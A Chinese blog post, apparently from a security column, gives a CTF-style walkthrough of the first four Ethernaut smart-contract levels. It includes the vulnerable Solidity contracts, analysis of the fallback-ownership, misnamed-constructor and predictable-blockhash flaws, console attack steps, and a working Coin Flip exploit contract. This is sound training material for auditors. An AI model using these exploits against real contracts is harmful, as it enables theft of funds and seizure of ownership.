前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >Ethernaut闯关录(上)

Ethernaut闯关录(上)

作者头像
Al1ex
发布2021-07-21 15:22:30
1.7K0
发布2021-07-21 15:22:30
举报
文章被收录于专栏:网络安全攻防
文章前言

Ethernaut(https://ethernaut.zeppelin.solutions/)是一个类似于CTF的智能合约平台,集成了不少的智能合约相关的安全问题,这对于安全审计人员来说是一个很不错的学习平台,本篇文章将通过该平台来学习智能合约相关的各种安全问题。

环境准备
  • Chrome浏览器
  • 插件——以太坊轻钱包MetaMask(https://metamask.io/)
  • 在MetaMask中调整网络为测试网络,之后给自己的钱包地址充值ETH。
前置知识
浏览器控制台

在整个Ethernaut平台的练习中我们需要通过Chrome浏览器的控制台来输入一系列的命令实现与合约的交互,在这里我们可以直接在Chrome浏览器中按下F12,之后选择Console模块打开浏览器控制台,并查看相关信息:

具体的交互视情况而定,例如:

当控制台中输入"player"时就看到玩家的地址信息(此时需实现Ethernaut与MetaMask的互动):

当输入getBlance(player)当前玩家的eth余额

如果要查看控制台中的其他实用功能可以输入"help"进行查看~

以太坊合约

在控制台中输入"Ethernaut"即可查看当前以太坊合约所有可用函数:

通过加"."可以实现对各个函数的引用(这里也可以把ethernaut当作一个对象实例):

获取关卡示例

我们可以通过点击“Get new instance”来获取关卡示例:

过关斩将
Hello Ethernaut

Hello Ethernaut这一关的目的是让玩家熟悉靶场操作(控制台的交互、MetaMask的交互等),因此依次按照提示一步一步做就可以完成了~

首先点击"Get new instance"来获取关卡示例:

之后交易确认后返回一个交互合约地址:

之后在控制台中根据提示输入以下指令:

代码语言:javascript
复制
await contract.info()
"You will find what you need in info1()."

await contract.info1()
"Try info2(), but with "hello" as a parameter."

await contract.info2("hello")
"The property infoNum holds the number of the next info method to call."

await contract.infoNum()
42

await contract.info42()
"theMethodName is the name of the next method."

await contract.theMethodName()
"The method name is method7123949."

await contract.method7123949()
"If you know the password, submit it to authenticate()."

await contract.password()
"ethernaut0"

await contract.authenticate("ethernaut0")

之后等合约交互完成后直接点击"submit instance"提交答案,并获取当前关卡的源代码:

之后等交易完成后给出完成关卡的提示:

并在下方给出源代码:

代码语言:javascript
复制
pragma solidity ^0.4.18;

contract Instance {

  string public password;
  uint8 public infoNum = 42;
  string public theMethodName = 'The method name is method7123949.';
  bool private cleared = false;

  // constructor
  function Instance(string _password) public {
    password = _password;
  }

  function info() public pure returns (string) {
    return 'You will find what you need in info1().';
  }

  function info1() public pure returns (string) {
    return 'Try info2(), but with "hello" as a parameter.';
  }

  function info2(string param) public pure returns (string) {
    if(keccak256(param) == keccak256('hello')) {
      return 'The property infoNum holds the number of the next info method to call.';
    }
    return 'Wrong parameter.';
  }

  function info42() public pure returns (string) {
    return 'theMethodName is the name of the next method.';
  }

  function method7123949() public pure returns (string) {
    return 'If you know the password, submit it to authenticate().';
  }

  function authenticate(string passkey) public {
    if(keccak256(passkey) == keccak256(password)) {
      cleared = true;
    }
  }

  function getCleared() public view returns (bool) {
    return cleared;
  }
}

从源代码中可以看到该关卡其实是一系列的函数调用与传参操作,其实该关卡就是让玩家熟悉控制台和MetaMask的使用以及配合交互操作!

Fallback
闯关要求
  • 成为合约的owner
  • 将余额减少为0
合约代码
代码语言:javascript
复制
pragma solidity ^0.4.18;

import 'zeppelin-solidity/contracts/ownership/Ownable.sol';
import 'openzeppelin-solidity/contracts/math/SafeMath.sol';
//合约Fallback继承自Ownable
contract Fallback is Ownable {
  
  using SafeMath for uint256;
  mapping(address => uint) public contributions;
//通过构造函数初始化贡献者的值为1000ETH
  function Fallback() public {
    contributions[msg.sender] = 1000 * (1 ether);
  }
// 将合约所属者移交给贡献最高的人,这也意味着你必须要贡献1000ETH以上才有可能成为合约的owner
  function contribute() public payable {
    require(msg.value < 0.001 ether);
    contributions[msg.sender] = contributions[msg.sender].add(msg.value);
    if(contributions[msg.sender] > contributions[owner]) {
      owner = msg.sender;
    }
  }
//获取请求者的贡献值
  function getContribution() public view returns (uint) {
    return contributions[msg.sender];
  }
//取款函数,且使用onlyOwner修饰,只能被合约的owner调用
  function withdraw() public onlyOwner {
    owner.transfer(this.balance);
  }
//fallback函数,用于接收用户向合约发送的代币
  function() payable public {
    require(msg.value > 0 && contributions[msg.sender] > 0);// 判断了一下转入的钱和贡献者在合约中贡献的钱是否大于0
    owner = msg.sender;
  }
}
合约分析

通过源代码我们可以了解到要想改变合约的owner可以通过两种方法实现:

1、贡献1000ETH成为合约的owner(虽然在测试网络中我们可以不断的申请测试eth,但由于每次贡献数量需要小于0.001,完成需要1000/0.001次,这显然很不现实~)

2、通过调用回退函数fallback()来实现

显然我们这里需要通过第二种方法来获取合约的owner,而触发fallback()函数也有下面两种方式:

1、没有其他函数与给定函数标识符匹配

2、合约接收没有数据的纯ether(例如:转账函数))

因此我们可以调用转账函数"await contract.sendTransaction({value:1})"或者使用matemask的转账功能(注意转账地址是合约地址也就是说instance的地址)来触发fallback()函数。

那么分析到这里我们从理论上就可以获取合约的owner了,那么我们如何转走合约中的eth呢?很明显,答案就是——调用withdraw()函数来实现。

攻击流程
代码语言:javascript
复制
contract.contribute({value: 1}) //首先使贡献值大于0
contract.sendTransaction({value: 1}) //触发fallback函数
contract.withdraw() //将合约的balance清零

首先点击"Get new instance"来获取一个实例:

之后开始交互,首先查看合约地址的资产总量,并向其转1wei

等交易完成后再次获取balance发现成功改变:

通过调用sendTransaction函数来触发fallback函数并获取合约的owner:

之后等交易完成后再次查看合约的owner,发现成功变为我们自己的地址:

之后调用withdraw来转走合约的所有代币

之后点击"submit instance"即可完成闯关:

Fallout
闯关要求

获取合约的owner权限

合约代码
代码语言:javascript
复制
pragma solidity ^0.4.18;

import 'zeppelin-solidity/contracts/ownership/Ownable.sol';
import 'openzeppelin-solidity/contracts/math/SafeMath.sol';

contract Fallout is Ownable {
  
  using SafeMath for uint256;
  mapping (address => uint) allocations;

  /* constructor */
  function Fal1out() public payable {
    owner = msg.sender;
    allocations[owner] = msg.value;
  }

  function allocate() public payable {
    allocations[msg.sender] = allocations[msg.sender].add(msg.value);
  }

  function sendAllocation(address allocator) public {
    require(allocations[allocator] > 0);
    allocator.transfer(allocations[allocator]);
  }

  function collectAllocations() public onlyOwner {
    msg.sender.transfer(this.balance);
  }

  function allocatorBalance(address allocator) public view returns (uint) {
    return allocations[allocator];
  }
}
合约分析

该关卡的要求是获取合约的owner,我们从上面的代码中可以看到没有类似于上一关的回退函数也没有相关的owner转换函数,但是我们在这里却发现一个致命的错误————构造函数名称与合约名称不一致使其成为一个public类型的函数,即任何人都可以调用,同时在构造函数中指定了函数调用者直接为合约的owner,所以我们可以直接调用构造函数Fal1out来获取合约的ower权限。

攻击流程

直接调用构造函数Fal1out来获取合约的ower权限即可。

点击“Get new instance”来获取示例:

之后查看当前合约的owner,并调用构造函数来跟换owner

等交易完成后,再次查看合约的owner发现已经发生变化了:

之后点击“submit instance”来提交答案即可:

Coin Flip
闯关要求

这是一个掷硬币游戏,你需要通过猜测掷硬币的结果来建立你的连胜记录。要完成这个等级,你需要使用你的通灵能力来连续10次猜测正确的结果。

合约代码
代码语言:javascript
复制
pragma solidity ^0.4.18;

import 'openzeppelin-solidity/contracts/math/SafeMath.sol';

contract CoinFlip {

  using SafeMath for uint256;
  uint256 public consecutiveWins;
  uint256 lastHash;
  uint256 FACTOR = 57896044618658097711785492504343953926634992332820282019728792003956564819968;

  function CoinFlip() public {
    consecutiveWins = 0;
  }

  function flip(bool _guess) public returns (bool) {
    uint256 blockValue = uint256(block.blockhash(block.number.sub(1)));

    if (lastHash == blockValue) {
      revert();
    }

    lastHash = blockValue;
    uint256 coinFlip = blockValue.div(FACTOR);
    bool side = coinFlip == 1 ? true : false;

    if (side == _guess) {
      consecutiveWins++;
      return true;
    } else {
      consecutiveWins = 0;
      return false;
    }
  }
}
合约分析

在合约的开头先定义了三个uint256类型的数据——consecutiveWins、lastHash、FACTOR,其中FACTOR被赋予了一个很大的数值,之后查看了一下发现是2^255。

之后定义的CoinFlip为构造函数,在构造函数中将我们的猜对次数初始化为0。

之后的flip函数先定义了一个blockValue,值是前一个区块的hash值转换为uint256类型,block.number为当前的区块数,之后检查lasthash是否等于blockValue,相等则revert,回滚到调用前状态。之后便给lasthash赋值为blockValue,所以lasthash代表的就是上一个区块的hash值。

之后就是产生coinflip,它就是拿来判断硬币翻转的结果的,它是拿blockValue/FACTR,前面也提到FACTOR实际是等于2^255,若换成256的二进制就是最左位是0,右边全是1,而我们的blockValue则是256位的,因为solidity里“/”运算会取整,所以coinflip的值其实就取决于blockValue最高位的值是1还是0,换句话说就是跟它的最高位相等,下面的代码就是简单的判断了。

通过对以上代码的分析我们可以看到硬币翻转的结果其实完全取决于前一个块的hash值,看起来这似乎是随机的,它也确实是随机的,然而事实上它也是可预测的,因为一个区块当然并不只有一个交易,所以我们完全可以先运行一次这个算法,看当前块下得到的coinflip是1还是0然后选择对应的guess,这样就相当于提前看了结果。因为块之间的间隔也只有10s左右,要手工在命令行下完成合约分析中操作还是有点困难,所以我们需要在链上另外部署一个合约来完成这个操作,在部署时可以直接使用http://remix.ethereum.org来部署

Exploit.sol:

代码语言:javascript
复制
pragma solidity ^0.4.18;
contract CoinFlip {
  uint256 public consecutiveWins;
  uint256 lastHash;
  uint256 FACTOR = 57896044618658097711785492504343953926634992332820282019728792003956564819968;

  function CoinFlip() public {
    consecutiveWins = 0;
  }

  function flip(bool _guess) public returns (bool) {
    uint256 blockValue = uint256(block.blockhash(block.number-1));

    if (lastHash == blockValue) {
      revert();
    }

    lastHash = blockValue;
    uint256 coinFlip = blockValue/FACTOR;
    bool side = coinFlip == 1 ? true : false;

    if (side == _guess) {
      consecutiveWins++;
      return true;
    } else {
      consecutiveWins = 0;
      return false;
    }
  }
}

contract exploit {
  CoinFlip expFlip;
  uint256 FACTOR = 57896044618658097711785492504343953926634992332820282019728792003956564819968;
 
  function exploit(address aimAddr) {
    expFlip = CoinFlip(aimAddr);
  }
 
  function hack() public {
    uint256 blockValue = uint256(block.blockhash(block.number-1));
    uint256 coinFlip = uint256(uint256(blockValue) / FACTOR);
    bool guess = coinFlip == 1 ? true : false;
    expFlip.flip(guess);
  }
}
攻击流程

点击“Get new Instance”获取一个实例:

之后获取合约的地址以及"consecutiveWins"的值:

之后在remix中编译合约

之后在remix中部署“exploit”合约,这里需要使用上面获取到的合约地址:

之后合约成功部署:

之后点击"hack"实施攻击(至少需要调用10次):

之后再次查看“consecutiveWins”的值,直到大于10时提交即可:

之后点击“submit instance”提交示例:

之后成功闯关:

后续关卡敬请期待中篇分解~

本文参与 腾讯云自媒体同步曝光计划,分享自微信公众号。
原始发表:2021-03-22,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 七芒星实验室 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体同步曝光计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • 文章前言
  • 环境准备
  • 前置知识
    • 浏览器控制台
      • 以太坊合约
        • 获取关卡示例
        • 过关斩将
          • Hello Ethernaut
            • Fallback
              • 闯关要求
              • 合约代码
              • 合约分析
              • 攻击流程
            • Fallout
              • 闯关要求
              • 合约代码
              • 合约分析
              • 攻击流程
            • Coin Flip
              • 闯关要求
              • 合约代码
              • 合约分析
              • 攻击流程
          相关产品与服务
          区块链
          云链聚未来,协同无边界。腾讯云区块链作为中国领先的区块链服务平台和技术提供商,致力于构建技术、数据、价值、产业互联互通的区块链基础设施,引领区块链底层技术及行业应用创新,助力传统产业转型升级,推动实体经济与数字经济深度融合。
          领券
          问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档